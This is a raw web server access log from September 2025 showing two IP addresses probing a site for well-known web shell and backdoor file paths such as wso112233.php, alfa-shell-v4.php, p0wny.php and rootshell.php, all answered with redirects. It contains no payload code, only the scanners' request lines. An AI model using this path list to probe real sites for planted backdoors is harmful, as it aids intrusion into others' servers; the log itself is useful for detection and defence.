157.230.250.62 - - [23/Sep/2025:13:17:32 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:17:35 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-"
35.178.187.180 - - [23/Sep/2025:13:17:54 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:13:17:54 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:18:02 -0400] "GET /LaEba.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:18:09 -0400] "GET /users.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
193.239.84.56 - - [23/Sep/2025:13:18:10 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:18:13 -0400] "GET /31337optr3v0r0x01.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:18:23 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:18:30 -0400] "GET /ms.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:18:34 -0400] "GET /echo.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:18:35 -0400] "GET /msl.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:18:38 -0400] "GET /fuck.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:18:40 -0400] "GET /plugin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:18:41 -0400] "GET /replace.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:18:50 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:18:57 -0400] "GET /byte.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:18:16 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:18:17 -0400] "GET /32x9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:18:21 -0400] "GET /jancok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:18:26 -0400] "GET /anjing.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:18:31 -0400] "GET /xyz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:18:44 -0400] "GET /coba.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:18:45 -0400] "GET /wp-configs.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:18:54 -0400] "GET /+.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:18:55 -0400] "GET /content.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:19:00 -0400] "GET /obfs.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:19:01 -0400] "GET /zero.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:19:16 -0400] "GET /register.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:19:17 -0400] "GET /ms-sites.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:19:20 -0400] "GET /pwnd.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:19:32 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:19:33 -0400] "GET /p0wny.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:19:40 -0400] "GET /radio.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:19:41 -0400] "GET /alfav4.1-tesla.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:19:46 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:19:48 -0400] "GET /themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:19:50 -0400] "GET /digiwoll.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:19:55 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.phpp HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:19:56 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:20:01 -0400] "GET /index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:20:10 -0400] "GET /green.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:19:05 -0400] "GET /devil.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:19:06 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:19:09 -0400] "GET /dev.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:19:12 -0400] "GET /developer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:19:18 -0400] "GET /rootshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:19:24 -0400] "GET /shellbypass.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:19:25 -0400] "GET /edit-form-advanced.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:19:29 -0400] "GET /asu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:19:38 -0400] "GET /remote.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:19:39 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:19:56 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:19:58 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:19:59 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:20:00 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:20:02 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:20:08 -0400] "GET /weso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:20:15 -0400] "GET /byp403.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:20:18 -0400] "GET /clown.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:20:23 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:20:27 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:20:29 -0400] "GET /web/libraries/legacy/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:20:37 -0400] "GET /plugins/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:20:38 -0400] "GET /git.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:20:43 -0400] "GET /rich.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:20:18 -0400] "GET /updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:20:22 -0400] "GET /application.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:20:32 -0400] "GET /got.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:20:47 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:20:49 -0400] "GET /logs/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:20:52 -0400] "GET /assets.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:20:56 -0400] "GET /templates/protostar/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:21:00 -0400] "GET /exists.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:21:05 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:21:11 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:21:17 -0400] "GET /wp.-.admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:21:17 -0400] "GET /tmp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:21:30 -0400] "GET /for.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:21:32 -0400] "GET /libraries/wp.-.admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:21:33 -0400] "GET /coy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:21:41 -0400] "GET /tol.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:21:48 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:21:57 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:01 -0400] "GET /taxonomy.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:22:01 -0400] "GET /.well-known/pkivalidation/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:22:04 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:22:08 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:22:13 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:20:43 -0400] "GET /includes/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:21:05 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:21:10 -0400] "GET /outside.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:21:14 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:21:22 -0400] "GET /botol.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:21:23 -0400] "GET /.well-known/pki-validation/wp.-.admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:21:25 -0400] "GET /templates/beez3/wp.-.admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:21:25 -0400] "GET /perl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:21:37 -0400] "GET /dor.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:21:37 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:21:43 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:21:45 -0400] "GET /env.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:21:49 -0400] "GET /hp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:21:52 -0400] "GET /mouse.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:21:54 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:22:07 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:22:11 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:15 -0400] "GET /loader.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:22:14 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:22:19 -0400] "GET /images/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:22:21 -0400] "GET /format.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:27 -0400] "GET /cannonical.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:22:29 -0400] "GET /images/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:22:35 -0400] "GET /m4r1ju4n4.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:22:40 -0400] "GET /4x4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:52 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:22:52 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:22:58 -0400] "GET /ArdisShell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:03 -0400] "GET /AsikPemula.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:23:03 -0400] "GET /wp-admin/css/colors/coffee/mari.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:23:07 -0400] "GET /Ahh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:13 -0400] "GET /alfa-shell-v4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:17 -0400] "GET /apnss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:30 -0400] "GET /AkuGans.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:23:36 -0400] "GET /wp-admin/css/colors/maro.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:23:37 -0400] "GET /loppp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:41 -0400] "GET /alfakun.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:45 -0400] "GET /alfatesla.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:50 -0400] "GET /bunga.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:52 -0400] "GET /lampu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:05 -0400] "GET /rush.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:20 -0400] "GET /cnshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:25 -0400] "GET /foxxx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:37 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:41 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:43 -0400] "GET /yahahaha.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:51 -0400] "GET /slot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:56 -0400] "GET /shizuka.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:25:12 -0400] "GET /local.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:25:17 -0400] "GET /d7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:25:21 -0400] "GET /fxshell.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:22:18 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:22:31 -0400] "GET /lolcats.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:36 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:38 -0400] "GET /js.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:42 -0400] "GET /73.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:44 -0400] "GET /An0nSh3ll.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:46 -0400] "GET /AoXD-VIP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:49 -0400] "GET /abc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:22:55 -0400] "GET /xodqupmm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:04 -0400] "GET /alf4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:09 -0400] "GET /alfa-ioxi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:21 -0400] "GET /ALf4.php HTTP/1.1" 301 795 "-" "-"
